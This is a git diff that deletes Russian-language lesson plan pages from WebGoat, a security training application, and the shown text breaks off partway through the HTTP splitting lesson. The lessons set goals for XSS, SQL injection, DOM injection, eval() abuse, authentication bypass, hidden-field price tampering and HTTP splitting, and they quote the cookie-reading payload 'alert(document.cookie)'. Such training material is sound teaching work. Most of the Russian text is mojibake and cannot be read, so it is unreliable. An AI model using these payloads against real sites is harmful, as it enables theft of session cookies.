b/src/main/webapp/lesson_plans/ru/DBCrossSiteScripting.html deleted file mode 100644 index 913efa53b..000000000 --- a/src/main/webapp/lesson_plans/ru/DBCrossSiteScripting.html +++ /dev/null @@ -1,21 +0,0 @@ -
-

Ðазвание урока: Как проводить атаки межÑайтового Ñкриптинга (XSS)

-
-

Тема Ð´Ð»Ñ Ð¸Ð·ÑƒÑ‡ÐµÐ½Ð¸Ñ:

- -Хорошей практикой вÑегда ÑчиталаÑÑŒ очиÑтка вÑех входÑщих данных, оÑобенно когда -их Ñодержимое будут иÑпользовано в качеÑтве команд ОС, Ñкриптов или запроÑов к -БД. Это важно и Ð´Ð»Ñ Ñ‚ÐµÑ… данных, которые будут Ñохранены где-то -внутри приложениÑ. ПоÑетители не должны иметь возможноÑть публикации на Ñайте -таких Ñообщений, которые могут изменÑть Ñтруктуру Ñтраницы при их проÑмотре. -
-XSS также может возникнуть когда Ð²Ð²ÐµÐ´Ñ‘Ð½Ð½Ð°Ñ Ð¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ñ‚ÐµÐ»ÐµÐ¼ Ð¸Ð½Ñ„Ð¾Ñ€Ð¼Ð°Ñ†Ð¸Ñ Ñразу же, -без вÑÑчеÑких проверок, помещаетÑÑ Ð² HTTP-запроÑ, но не ÑохранÑетÑÑ Ð²Ð½ÑƒÑ‚Ñ€Ð¸ Ð¿Ñ€Ð¸Ð»Ð¾Ð¶ÐµÐ½Ð¸Ñ -(отражаемые XSS). Ð’ таких ÑлучаÑÑ… нападающий может Ñформировать URL, Ñодержащий в Ñебе -вредоноÑный код и передать его жертве(ам) через Ñторонний веб-Ñайт, почту или любым другим ÑпоÑобом. - -

ОÑновные цели:

-Ð’ данном упражнении вы научитеÑÑŒ оÑущеÑтвлÑть хранимые XSS-атаки. -Ð’ конце урока вам необходимо будет внеÑти Ð¸Ð·Ð¼ÐµÐ½ÐµÐ½Ð¸Ñ Ð² код базы данных Ð´Ð»Ñ Ñ‚Ð¾Ð³Ð¾, чтоб предотвратить подобые нападениÑ. -
- diff --git a/src/main/webapp/lesson_plans/ru/DBSQLInjection.html b/src/main/webapp/lesson_plans/ru/DBSQLInjection.html deleted file mode 100644 index 879a1b92e..000000000 --- a/src/main/webapp/lesson_plans/ru/DBSQLInjection.html +++ /dev/null @@ -1,16 +0,0 @@ -
-

Lesson Plan Title: How to Perform SQL Injection

-
-

Concept / Topic To Teach:

- -It is always a good practice to scrub all inputs, especially those -inputs that will later be used as parameters to OS commands, scripts, -and database queries. Users should not be able to alter the intent of -commands that are executed on the server, in many cases as a privileged user. - -

General Goal(s):

-For this exercise, you will perform a SQL Injection attack. -You will also implement code changes in the database to defeat -these attacks. -
- diff --git a/src/main/webapp/lesson_plans/ru/DOMInjection.html b/src/main/webapp/lesson_plans/ru/DOMInjection.html deleted file mode 100644 index 8b4a87564..000000000 --- a/src/main/webapp/lesson_plans/ru/DOMInjection.html +++ /dev/null @@ -1,23 +0,0 @@ -
-

Ðазвание урока: Выполнение атаки клаÑÑа 'DOM-инъекциÑ'.

-
- -

Тема Ð´Ð»Ñ Ð¸Ð·ÑƒÑ‡ÐµÐ½Ð¸Ñ:

-Выполнение атаки клаÑÑа 'DOM-инъекциÑ'. -
-
-

-Как работают атаки данного вида: -

-Ðекое приложение иÑпользует технологию AJAX Ð´Ð»Ñ Ð¼Ð°Ð½Ð¸Ð¿ÑƒÐ»Ð¸Ñ€Ð¾Ð²Ð°Ð½Ð¸Ñ DOM Ñтраницы и его Ð¾Ð±Ð½Ð¾Ð²Ð»ÐµÐ½Ð¸Ñ -по ÑредÑтвам JavaScript, DHTML и функции eval().
-Ð’ данном Ñлучае атакующий может каким-либо образом попытатьÑÑ Ð¿Ñ€ÐµÑ…Ð²Ð°Ñ‚Ð¸Ñ‚ÑŒ ответ Ñервера, и помеÑтить -в него набор вредоноÑных JavaScript-команд. -
-

ОÑновные цели и задачи:

- -* Ваша жертва - Ñто ÑиÑтема Ñ‚Ñ€ÐµÐ±ÑƒÑŽÑ‰Ð°Ñ Ð¾Ñ‚ клиентов ключ активации Ð´Ð»Ñ ÐµÑ‘ иÑпользованиÑ.
-* Ваша задача ÑоÑтоит в том, чтоб каким-либо образом разблокировать кнопку активации.
-* Уделите немного времени проÑмотру HTML-кода Ñтраницы и вы поймёте как работает веÑÑŒ механизм активации.
- - diff --git a/src/main/webapp/lesson_plans/ru/DOMXSS.html b/src/main/webapp/lesson_plans/ru/DOMXSS.html deleted file mode 100644 index e17c5d182..000000000 --- a/src/main/webapp/lesson_plans/ru/DOMXSS.html +++ /dev/null @@ -1,15 +0,0 @@ -
-

Ðазвание урока: МежÑайтовый Ñкриптинг оÑнованный на DOM (DOM XSS)

-
-

Тема Ð´Ð»Ñ Ð¸Ð·ÑƒÑ‡ÐµÐ½Ð¸Ñ:

- -ÐžÐ±ÑŠÐµÐºÑ‚Ð½Ð°Ñ Ð¼Ð¾Ð´ÐµÐ»ÑŒ документа (DOM), Ñ Ñ‚Ð¾Ñ‡ÐºÐ¸ Ð·Ñ€ÐµÐ½Ð¸Ñ Ð±ÐµÐ·Ð¾Ð¿Ð°Ð½Ð¾Ñти, Ñоздаёт Ñобой одну интереÑную проблему. -Она позволÑет Ñодержимому веб-Ñтраниц динамичеÑки менÑтьÑÑ, что Ñамо по Ñебе ÑвлÑетÑÑ Ñ…Ð¾Ñ€Ð¾ÑˆÐµÐ¹ возможноÑтью -не только Ð´Ð»Ñ Ð²ÐµÐ±-маÑтеров, но и Ð´Ð»Ñ Ð·Ð»Ð¾ÑƒÐ¼Ñ‹ÑˆÐ»ÐµÐ½Ð½Ð¸ÐºÐ¾Ð². С её помощью нападающие могут помещать в код Ñтраниц -вредоноÑные вÑтавки (XSS), еÑли в процеÑÑе модификации их Ñодержимого на Ñтороне клиента не проиÑходит -доÑтаточной проверки данных вводимых пользователем. - - -

ОÑновные цели и задачи:

-Ð’ данном упражнении вам необходимо Ñ Ð¸Ñпользованием Ñтой уÑзвимоÑти помеÑтить вредоноÑный код -в объектную модель документа. Рв Ñамом конце вы иÑправите ошибку приводÑщую к её поÑвлению. diff --git a/src/main/webapp/lesson_plans/ru/DOS_Login.html b/src/main/webapp/lesson_plans/ru/DOS_Login.html deleted file mode 100644 index 460cd4100..000000000 --- a/src/main/webapp/lesson_plans/ru/DOS_Login.html +++ /dev/null @@ -1,12 +0,0 @@ -
-

Ðазвание урока: Отказ в обÑлуживании при неÑкольких одновременных попытках авторизации

-
-

Тема Ð´Ð»Ñ Ð¸Ð·ÑƒÑ‡ÐµÐ½Ð¸Ñ:

- -Ðтаки клаÑÑа "Отказ в обÑлуживании" ÑвлÑÑŽÑ‚ÑÑ Ð³Ð»Ð°Ð²Ð½Ð¾Ð¹ проблемой веб-приложений. Ситуации, при которых конечный пользователь -долгое Ð²Ñ€ÐµÐ¼Ñ Ð½Ðµ может получить доÑтуп к важному приложению или ÑервиÑу, могут принеÑти большие убытки. -

ОÑновные цели и задачи:

-Данный Ñайт позволÑет неÑкольким пользователÑм авторизироватьÑÑ Ð¾Ð´Ð½Ð¾Ð²Ñ€ÐµÐ¼ÐµÐ½Ð½Ð¾. Ð’ то же Ð²Ñ€ÐµÐ¼Ñ -веб-приложение может уÑтанавливать Ñ Ð‘Ð” только 2 ÑÐ¾ÐµÐ´Ð¸Ð½ÐµÐ½Ð¸Ñ Ð·Ð° раз. Ð’Ñ‹ должны получить -ÑпиÑок ÑущеÑтвующих пользователей и попытатьÑÑ Ð¾Ð´Ð½Ð¾Ð²Ñ€ÐµÐ¼ÐµÐ½Ð½Ð¾ произвеÑти вход от 3 логинов. - \ No newline at end of file diff --git a/src/main/webapp/lesson_plans/ru/DangerousEval.html b/src/main/webapp/lesson_plans/ru/DangerousEval.html deleted file mode 100644 index b3ee6b20a..000000000 --- a/src/main/webapp/lesson_plans/ru/DangerousEval.html +++ /dev/null @@ -1,16 +0,0 @@ -
-

Ðазвание урока: ОпаÑное иÑпользование eval()

-
-

Тема Ð´Ð»Ñ Ð¸Ð·ÑƒÑ‡ÐµÐ½Ð¸Ñ:

- -Хорошей практикой ÑвлÑетÑÑ Ð¿Ñ€Ð¾Ð²ÐµÑ€ÐºÐ° на Ñтороне Ñервера вÑех принимаемых данных. -Ð’ ÑлучаÑÑ… когда непроверенные пользовательÑкие данные напрÑмую отражаютÑÑ Ð² HTTP-ответе имеетÑÑ -риÑк поÑÐ²Ð»ÐµÐ½Ð¸Ñ XSS-уÑзвимоÑтей. Ð’ текущем приложении не проходÑщие проверку пользовательÑкие данные помещаютÑÑ -в Ñтроку передаваемую функции eval(). Ð’ подобных ÑитуациÑÑ… (они называютÑÑ Ð¾Ñ‚Ñ€Ð°Ð¶Ñ‘Ð½Ð½Ñ‹Ð¼Ð¸ XSS-уÑзвимоÑÑ‚Ñми) -злоумышленник может ÑоÑтавить URL Ñодержащий Ñпециальные вредоноÑные вÑтавки, и опубликовать его -на Ñтороннем веб-Ñайте, отправить по почте или любым другим ÑпоÑобом донеÑти его до жертвы. - -

ОÑновные цели и задачи:

-Ваша цель - добитьÑÑ Ð²Ñ‹Ð¿Ð¾Ð»Ð½ÐµÐ½Ð¸Ñ Ð¿Ñ€Ð¾Ð¸Ð·Ð²Ð¾Ð»ÑŒÐ½Ð¾Ð³Ð¾ JavaScript-кода в данном приложении иÑÐ¿Ð¾Ð»ÑŒÐ·ÑƒÑ -уже имеющийÑÑ Ð² Ñтранице вызов eval(). Ð”Ð»Ñ Ñ‚Ð¾Ð³Ð¾ чтоб уÑпешно завершить урок вы дложны вызвать выполнение Ñтроки -'alert(document.cookie)'. \ No newline at end of file diff --git a/src/main/webapp/lesson_plans/ru/Encoding.html b/src/main/webapp/lesson_plans/ru/Encoding.html deleted file mode 100644 index 2d642a45b..000000000 --- a/src/main/webapp/lesson_plans/ru/Encoding.html +++ /dev/null @@ -1,10 +0,0 @@ -
-

Ðазвание урока: ИÑпользование оÑновной кодировки

-
-

Тема Ð´Ð»Ñ Ð¸Ð·ÑƒÑ‡ÐµÐ½Ð¸Ñ:

- -По множеÑтву причин Ñодержимое веб-Ð¿Ñ€Ð¸Ð»Ð¾Ð¶ÐµÐ½Ð¸Ñ Ð¼Ð¾Ð¶ÐµÑ‚ хранитьÑÑ Ð² неÑкольких разных кодировках. - -

ОÑновные цели и задачи:

-Данный урок предназначаетÑÑ Ð´Ð»Ñ Ñ‚ÐµÑ…, кто знаком Ñ Ð¿Ð¾Ð½Ñтием кодировок и понимает -чем они отличаютÑÑ Ð´Ñ€ÑƒÐ³ от друга. \ No newline at end of file diff --git a/src/main/webapp/lesson_plans/ru/FailOpenAuthentication.html b/src/main/webapp/lesson_plans/ru/FailOpenAuthentication.html deleted file mode 100644 index ff90da904..000000000 --- a/src/main/webapp/lesson_plans/ru/FailOpenAuthentication.html +++ /dev/null @@ -1,13 +0,0 @@ -
-

Ðазвание урока: ИÑпользование уÑзвимоÑтей ложной аутентификации

-
- -

Тема Ð´Ð»Ñ Ð¸Ð·ÑƒÑ‡ÐµÐ½Ð¸Ñ:

- - Ðа данном уроке вы ознакомитеÑÑŒ Ñ Ð¾Ñновами Ð²Ð¾Ð·Ð½Ð¸ÐºÐ½Ð¾Ð²ÐµÐ½Ð¸Ñ ÑƒÑловий, приводÑщих к - ложной аутентификации пользователей. Ðапример, Ð»Ð¾Ð¶Ð½Ð°Ñ Ð°ÑƒÑ‚ÐµÐ½Ñ‚Ð¸Ñ„Ð¸ÐºÐ°Ñ†Ð¸Ñ Ð¼Ð¾Ð¶ÐµÑ‚ проиÑходить в тех ÑлучаÑÑ…, - когда Ð²Ð¾Ð·Ð½Ð¸ÐºÐ°ÑŽÑ‰Ð°Ñ Ð² процеÑÑе работы Ð¿Ñ€Ð¸Ð»Ð¾Ð¶ÐµÐ½Ð¸Ñ Ð¾ÑˆÐ¸Ð±ÐºÐ° (например неперехваченное иÑключение) - не позволÑет программе точно определить верноÑть вводимых пользователем данных.
- -

ОÑновные цели и задачи:

-Вы должны обойти механизм проверки аутентификации. \ No newline at end of file diff --git a/src/main/webapp/lesson_plans/ru/ForcedBrowsing.html b/src/main/webapp/lesson_plans/ru/ForcedBrowsing.html deleted file mode 100644 index 51d165243..000000000 --- a/src/main/webapp/lesson_plans/ru/ForcedBrowsing.html +++ /dev/null @@ -1,22 +0,0 @@ -
-

Ðазвание урока: Обращение к Ñкрытым реÑурÑам.

-
- -

Тема Ð´Ð»Ñ Ð¸Ð·ÑƒÑ‡ÐµÐ½Ð¸Ñ:

-Как производить обращение к Ñкрытым реÑурÑам -
-
-

-Как работают такие атаки: -

-Эта техника иÑпользуетÑÑ Ñ…Ð°ÐºÐµÑ€Ð°Ð¼Ð¸ Ð´Ð»Ñ Ð¾Ð±Ñ€Ð°Ñ‰ÐµÐ½Ð¸Ñ Ðº тем реÑурÑам, ÑÑылок на которые -на Ñайте нет, но доÑтуп к которым никак не ограничен. -Одним из примеров такой техники ÑвлÑетÑÑ Ð·Ð°Ñ‚Ð¸Ñ€Ð°Ð½Ð¸Ðµ чаÑти URL Ð´Ð»Ñ Ñ‚Ð¾Ð³Ð¾ чтоб проÑмотреть Ñодержимое -незащищённой директории. -
-

ОÑновные цели и задачи:

- -* Вашей целью ÑвлÑетÑÑ ÑƒÐ³Ð°Ð´Ñ‹Ð²Ð°Ð½Ð¸Ðµ URL интерфейÑа конфигурации.
-* СÑылка на него видна только управлÑющему перÑоналу.
-* Приложение не проверÑет наличие ÑоответÑтвующих привилегий при доÑтупе к нему - diff --git a/src/main/webapp/lesson_plans/ru/ForgotPassword.html b/src/main/webapp/lesson_plans/ru/ForgotPassword.html deleted file mode 100644 index 824374b48..000000000 --- a/src/main/webapp/lesson_plans/ru/ForgotPassword.html +++ /dev/null @@ -1,13 +0,0 @@ -
-

Ðазвание урока: Как можно иÑпользовать Ñтраницу воÑÑÑ‚Ð°Ð½Ð¾Ð²Ð»ÐµÐ½Ð¸Ñ Ð¿Ð°Ñ€Ð¾Ð»Ñ

-
-

Тема Ð´Ð»Ñ Ð¸Ð·ÑƒÑ‡ÐµÐ½Ð¸Ñ:

- -Веб-Ð¿Ñ€Ð¸Ð»Ð¾Ð¶ÐµÐ½Ð¸Ñ Ð¾Ñ‡ÐµÐ½ÑŒ чаÑто предоÑтавлÑÑŽÑ‚ Ñвоим пользователÑм возможноÑть воÑÑÑ‚Ð°Ð½Ð¾Ð²Ð»ÐµÐ½Ð¸Ñ Ð·Ð°Ð±Ñ‹Ñ‚Ð¾Ð³Ð¾ паролÑ. -К Ñожалению, во многих из них данный механизм реализован не безопаÑно. ИнформациÑ, Ñ‚Ñ€ÐµÐ±ÑƒÐµÐ¼Ð°Ñ Ð´Ð»Ñ Ð¸Ð´ÐµÐ½Ñ‚Ð¸Ñ„Ð¸ÐºÐ°Ñ†Ð¸Ð¸ -пользователÑ, как правило, очень проÑта. -

ОÑновные цели:

-Пользователи могут воÑÑтановить их пароль еÑли у них получитÑÑ Ð¾Ñ‚Ð²ÐµÑ‚Ð¸Ñ‚ÑŒ на Ñекретный вопроÑ. Ðа Ñтранице -воÑÑÑ‚Ð°Ð½Ð¾Ð²Ð»ÐµÐ½Ð¸Ñ Ð½ÐµÑ‚ никаких мезанизмов ÑвÑзанных Ñ Ð±Ð»Ð¾ÐºÐ¸Ñ€Ð¾Ð²ÐºÐ¾Ð¹ аккаунтов. Ваше Ð¸Ð¼Ñ Ð¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ñ‚ÐµÐ»Ñ - 'webgoat', -любимый цвет - краÑный (red). Цель урока - воÑÑтановить пароль к аккаунту другого пользователÑ. - \ No newline at end of file diff --git a/src/main/webapp/lesson_plans/ru/HiddenFieldTampering.html b/src/main/webapp/lesson_plans/ru/HiddenFieldTampering.html deleted file mode 100644 index e30a55e33..000000000 --- a/src/main/webapp/lesson_plans/ru/HiddenFieldTampering.html +++ /dev/null @@ -1,17 +0,0 @@ -
-

Ðазвание урока: ИÑпользование Ñкрытых полей форм

-
-

Тема Ð´Ð»Ñ Ð¸Ð·ÑƒÑ‡ÐµÐ½Ð¸Ñ:

- -Разработчики иÑпользуют Ñкрытые Ð¿Ð¾Ð»Ñ Ñ„Ð¾Ñ€Ð¼ Ð´Ð»Ñ Ñ…Ñ€Ð°Ð½ÐµÐ½Ð¸Ñ Ð½Ð° загруженной клиентом Ñтранице -информации о ценах, авторизации, отÑÐ»ÐµÐ¶Ð¸Ð²Ð°Ð½Ð¸Ñ Ð¿ÐµÑ€ÐµÑ…Ð¾Ð´Ð¾Ð² по Ñайту и многом другом. -Очень чаÑто программиÑты пренебрегают проверкой данных получаемых из них. -Ðа Ñтом уроке вы научитеÑÑŒ находить hidden-Ð¿Ð¾Ð»Ñ Ð¸ изменÑть их Ñодержимое Ð´Ð»Ñ Ñ‚Ð¾Ð³Ð¾ чтоб -уÑтанавливать товарам нужную вам цену. -
- -

ОÑновные цели и задачи:

-Пользователь должен Ð¼Ð°Ð½Ð¸Ð¿ÑƒÐ»Ð¸Ñ€ÑƒÑ Ð·Ð½Ð°Ñ‡ÐµÐ½Ð¸Ñми Ñкрытых полей приобреÑти товар по ненаÑтоÑщей цене. - -Попробуйте заказать HDTV намного дешевле чем он Ñтоит на Ñамом деле. - \ No newline at end of file diff --git a/src/main/webapp/lesson_plans/ru/HowToWork.html b/src/main/webapp/lesson_plans/ru/HowToWork.html deleted file mode 100644 index f9f206c52..000000000 --- a/src/main/webapp/lesson_plans/ru/HowToWork.html +++ /dev/null @@ -1,55 +0,0 @@ - -

Как работать Ñ WebGoat

-

-Добро пожаловать в краткую инÑтрукцию по работе Ñ WebGoat.
-ЗдеÑÑŒ вы научитель иÑпользовать Ñам WebGoat, а также инÑтрументы, необходимые Ð´Ð»Ñ Ð½ÐµÐºÐ¾Ñ‚Ð¾Ñ€Ñ‹Ñ… уроков.

-

-

Ð˜Ð½Ñ„Ð¾Ñ€Ð¼Ð°Ñ†Ð¸Ñ Ð¾ Ñреде работы WebGoat

-

-WebGoat работает под управлением Apache Tomcat. По умолчанию он наÑтроен на работу на хоÑте localhost, -однако в Ñлучае необходимоÑти Ð¸Ð¼Ñ Ñ…Ð¾Ñта может быть легко изменено. -Кроме того, по умолчанию WebGoat наÑтроен на работу лишь Ñ Ð¾Ð´Ð½Ð¸Ð¼ пользователем. Дополнительные учётные запиÑи -вы можете добавить в файле tomcat-users.xml. -ЕÑли вы хотите иÑпользовать WebGoat в лаборатории или клаÑÑе вам обÑзательно нужно изменить его базовую конфигурацию. -Ð”Ð»Ñ Ñтого пройдите в раздел "Введение" и прочтите главу "ÐаÑтройка Tomcat" -

- -

Ð˜Ð½Ñ‚ÐµÑ€Ñ„ÐµÐ¹Ñ WebGoat

-

-

-1. ЗдеÑÑŒ раÑполагаютÑÑ ÐºÐ°Ñ‚ÐµÐ³Ð¾Ñ€Ð¸Ð¸ уроков WebGoat. Кликните по любой категории и вы увидите какие уроки в неё входÑÑ‚.
-2. При клике здеÑÑŒ находÑÑ‚ÑÑ Ð¿Ð¾Ð´Ñказки которые помогут вам проходить уроки.
-3. При клике здеÑÑŒ отобразÑÑ‚ÑÑ Ð¿Ð°Ñ€Ð°Ð¼ÐµÑ‚Ñ€Ñ‹ текущего HTTP-запроÑа
-4. При клике здеÑÑŒ отобразÑÑ‚ÑÑ Ñ‚ÐµÐºÑƒÑ‰Ð¸Ðµ Cookies
-5. При клике здеÑÑŒ отобразÑÑ‚ÑÑ Ñ†ÐµÐ»Ð¸ и задачи текущего урока.
-6. При клике здеÑÑŒ отобразитÑÑ Ð¸Ñходный код урока на Java.
-7. При клике здеÑÑŒ отобразитÑÑ Ñ€ÐµÑˆÐµÐ½Ð¸Ðµ текущего урока.
-8. Ð’ Ñлучае еÑли вы хотите начать урок заново кликите на Ñту ÑÑылку.

-

Решение уроков

-

-Ð’Ñегда начинайте работу по плану текущего урока. ЕÑли вдруг решить урок у Ð²Ð°Ñ Ð½Ð¸ÐºÐ°Ðº не получаетÑÑ, -воÑпользуйтеÑÑŒ подÑказками к нему. Ð’ том Ñлучае, еÑли урок не получаетÑÑ Ñ€ÐµÑˆÐ¸Ñ‚ÑŒ даже Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ подÑказок -вы можете поÑмотреть подробное его решение.

-

Чтение и редактирование параметров

-

-Ð”Ð»Ñ Ñ‡Ñ‚ÐµÐ½Ð¸Ñ Ð¸ Ñ€ÐµÐ´Ð°ÐºÑ‚Ð¸Ñ€Ð¾Ð²Ð°Ð½Ð¸Ñ Ð¿Ð°Ñ€Ð°Ð¼ÐµÑ‚Ñ€Ð¾Ð² вам необходимо иметь локальный прокÑи-Ñервер ÑпоÑобный перехватывать -HTTP-запроÑÑ‹. ЗдеÑÑŒ вы можете иÑпользовать WebScarab. Более подробную информацию о нём вы можете получить в разделе -"ИÑпользуемые инÑтрументы". ПоÑле уÑтановки WebScarab и наÑтройки браузера на работу Ñ Ð½Ð¸Ð¼ можно начинать прохождение уроков. -

-

-Мы Ñтавим галочку в поле "Intercept Request" на закладке "Intercept". ЕÑли мы ÑÐµÐ¹Ñ‡Ð°Ñ Ð¿Ð¾ÑˆÐ»Ñ‘Ð¼ из браузера какой-либо запроÑ, то Ñразу -же поÑвитÑÑ Ð½Ð¾Ð²Ð¾Ðµ окно WebScarab.

-

-ЗдеÑÑŒ мы можем Ñмотреть и редактировать перехватываемые параметры. ПоÑле Ð½Ð°Ð¶Ð°Ñ‚Ð¸Ñ "Accept Changes" Ð·Ð°Ð¿Ñ€Ð¾Ñ Ð¿Ð¾Ð¹Ð´Ñ‘Ñ‚ дальше на Ñервер. -

-

ПроÑмотр и редактирование Cookies

-

-Почти вÑегда редактирование Cookies проиÑходит точно также как и редактирование параметров запроÑа. -Мы можем иÑпользовать WebScarab Ð´Ð»Ñ Ð¿ÐµÑ€ÐµÑ…Ð²Ð°Ñ‚Ð° запроÑа и Ð¸Ð·Ð¼ÐµÐ½ÐµÐ½Ð¸Ñ Ð·Ð½Ð°Ñ‡ÐµÐ½Ð¸Ð¹ имеющихÑÑ Ð² нём Cookies -точно также как опиÑывалоÑÑŒ выше. -

-

-При отправке нового запроÑа поÑвитÑÑ ÑƒÐ¶Ðµ знакомое окно. Ðа Ñкриншоте вы видите где может раÑполагатьÑÑ -Ñтрока Ñ Cookies и как можно редактировать её значение. -

- diff --git a/src/main/webapp/lesson_plans/ru/HtmlClues.html b/src/main/webapp/lesson_plans/ru/HtmlClues.html deleted file mode 100644 index 4272bcabf..000000000 --- a/src/main/webapp/lesson_plans/ru/HtmlClues.html +++ /dev/null @@ -1,14 +0,0 @@ -
-

Ðазвание урока: How to Discover Clues in the HTML

-
- -

Concept / Topic To Teach:

- -Многие разработчики, к Ñожалению, забывают удалÑть из рабочих верÑий кода вÑевозможные отметки типа FIXME, TODO, небольшие хаки и Ñ‚.д. - Ð˜ÑÑледование иÑходного кода на наличие различных комментариев , паролей, бÑкдоров и прочего может очень -Ñильно вам помочь. Ðиже предÑтавлена форма авторизации. Попробуйте иÑÑледовать код Ñтраницы и найти -зацепки которые позволÑÑ‚ вам войти как легитимный пользователь. - -
-

ОÑновные цели и задачи:

-Ð’Ñ‹ должны обойти ÑиÑтему авторизации. diff --git a/src/main/webapp/lesson_plans/ru/HttpBasics.html b/src/main/webapp/lesson_plans/ru/HttpBasics.html deleted file mode 100644 index 82fac4497..000000000 --- a/src/main/webapp/lesson_plans/ru/HttpBasics.html +++ /dev/null @@ -1,33 +0,0 @@ -
-

Ðазвание урока: ОÑновы Http

-
- -

Тема изучениÑ:

-Ð’ данном уроке предÑтавлены оÑновы необходимые Ð´Ð»Ñ Ð¿Ð¾Ð½Ð¸Ð¼Ð°Ð½Ð¸Ñ Ð¿Ñ€Ð¾Ñ†ÐµÑÑа передачи данных между браузером и веб-приложением.
-
-

-Как работает HTTP: -

-Ð’Ñе Ð¾Ð±Ñ€Ð°Ñ‰ÐµÐ½Ð¸Ñ Ð¿Ð¾ протоколу HTTP имеют один оÑновной формат. Кажный Ð·Ð°Ð¿Ñ€Ð¾Ñ ÐºÐ»Ð¸ÐµÐ½Ñ‚Ð° или ответ Ñервера ÑоÑтоит из трёх чаÑтей: -Ñтрока запроÑа или ответа, заголовок и тело. Клиент начинает предачу данных Ñледующим образом:
-
- Он ÑоединÑетÑÑ Ñ Ñервером и отправлÑет Ð·Ð°Ð¿Ñ€Ð¾Ñ Ð´Ð»Ñ Ð¿Ð¾Ð»ÑƒÑ‡ÐµÐ½Ð¸Ñ Ð´Ð¾ÐºÑƒÐ¼ÐµÐ½Ñ‚Ð°
-
-
-
    GET /index.html?param=value HTTP/1.0
-Далее он шлёт различную информацию в разделе заголовка чтоб уведомить Ñервер о Ñвоей конфигурации и возможноÑÑ‚ÑÑ… -(например какие кодировки и типы документов поддерживаютÑÑ ÐºÐ»Ð¸ÐµÐ½Ñ‚Ð¾Ð¼).
-
-
    User-Agent: Mozilla/4.06
    Accept: image/gif,image/jpeg, */*
-ПоÑле отправки запроÑа и заголовков клиент может отправить дополнительные данные. Они в большинÑтве Ñлучаев -предназначаютÑÑ Ð´Ð»Ñ CGI-программ иÑпользующих метод POST Ð´Ð»Ñ Ð¿Ñ€Ð¸Ð½ÑÑ‚Ð¸Ñ Ð¸Ð½Ñ„Ð¾Ñ€Ð¼Ð°Ñ†Ð¸Ð¸.
-

ОÑновные цели и задачи:

- -Введите ваше Ð¸Ð¼Ñ Ð² поле раÑположенное ниже и нажмите "Вперёд!" Ð´Ð»Ñ Ð¾Ñ‚Ð¿Ñ€Ð°Ð²ÐºÐ¸ формы. Сервер примет ваш запроÑ, выÑтроит -полученную Ñтроку в обратном порÑдке и выведет результат на Ñкран. Данный пример иллюÑтрирует оÑновы обработки данных -полученных из HTTP-запроÑа. -

-Пользователю необходимо ознакомитÑÑ Ñ Ð¸Ñпользованием функций WebGoat, таких как проÑмотр подÑказок, отображение параметров HTTP-запроÑа, -отображение Cookies и иÑходных кодов Java. Первое времÑ, в качеÑтве практики, Ð´Ð»Ñ Ð¿Ñ€Ð¾Ñмотра параметров и Cookies -запроÑов вы можете иÑпользовать WebScarab. - \ No newline at end of file diff --git a/src/main/webapp/lesson_plans/ru/HttpOnly.html b/src/main/webapp/lesson_plans/ru/HttpOnly.html deleted file mode 100644 index 4478b5718..000000000 --- a/src/main/webapp/lesson_plans/ru/HttpOnly.html +++ /dev/null @@ -1,24 +0,0 @@ -
-

Ðазвание урока: Проверка HttpOnly

-
-

Тема Ð´Ð»Ñ Ð¸Ð·ÑƒÑ‡ÐµÐ½Ð¸Ñ:

- -Ð”Ð»Ñ Ñ‚Ð¾Ð³Ð¾ чтоб помешать проведению XSS-нападений ÐºÐ¾Ð¼Ð¿Ð°Ð½Ð¸Ñ Microsoft -ввела новый параметр Ð´Ð»Ñ cookies, называемый 'HttpOnly'. ЕÑли данный флаг -активен, то браузер не разрешает работающим на Ñтороне клиента Ñкриптам -получать доÑтуп к cookies. Ðекоторые браузеры, к Ñожалению, не учитывают -наличие 'HttpOnly' в Ñвоей работе. -

СпиÑок браузеров поддерживающих данный параметр можно найти здеÑÑŒ: OWASP HTTPOnly Support -

ОÑновные цели и задачи:

-Ðа данном уроке вы должны проверить, поддерживает ли ваш браузер флаг HTTPOnly применив его к -cookies Ñ Ð¸Ð¼ÐµÐ½ÐµÐ¼ unique2u. -ЕÑли да, то включив его вы не Ñможете получить доÑтуп к их Ñодержимому через -код на клиентÑкой Ñтороне. Ð’Ñ‹ также не Ñможете запиÑывать новые данные в них, или изменÑть -уже имеющиеÑÑ (Ñ…Ð¾Ñ‚Ñ Ð½ÐµÐºÐ¾Ñ‚Ð¾Ñ€Ñ‹Ðµ браузеры запрещают только Ñчитывание). -Ðо при Ñтом браузер иÑправно будет предавать их Ñерверу. -
-
-Когда вы включите HTTPOnly, находÑÑÑŒ на Ñтранице, cookies домена которой он защищает, -впишите в адреÑную Ñтроку выражение "javascript:alert(document.cookie)". Ð’Ñ‹ увидите табличку Ñо вÑеми -cookies кроме unique2u. - \ No newline at end of file diff --git a/src/main/webapp/lesson_plans/ru/HttpSplitting.html b/src/main/webapp/lesson_plans/ru/HttpSplitting.html deleted file mode 100644 index 3047f40e1..000000000 --- a/src/main/webapp/lesson_plans/ru/HttpSplitting.html +++ /dev/null @@ -1,47 +0,0 @@ -
-

Ðазвание урока: Проводение атак HTTP Splitting

-
- -

Тема изучениÑ:

-Ðа данном уроке вы ознакомитеÑÑŒ Ñ Ð°Ñ‚Ð°ÐºÐ°Ð¼Ð¸ клаÑÑа HTTP Splitting -
-
-

-Как работают такие атаки: -

-

- Ðтакующий поÑылает веб-Ñерверу вредоноÑные данные вмеÑте Ñ Ð¾Ð¶Ð¸Ð´Ð°ÐµÐ¼Ñ‹Ð¼Ð¸. УÑзвимое приложение не проверÑет полученную -информацию на наличие Ñимволов CR (возврат коретки, обозначаетÑÑ Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ %0d или \r) и LF (перевод Ñтроки, обозначаетÑÑ -Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ %0a или \n). Данные Ñимволы не только позволÑÑŽÑ‚ атакующему контролировать возвращаемые Ñервером заголовки и тело ответа, -но и дают ему возможноÑть Ñоздавать поддельные ответы, Ñодержимое которых будет ему полноÑтью подконтрольно. -

-

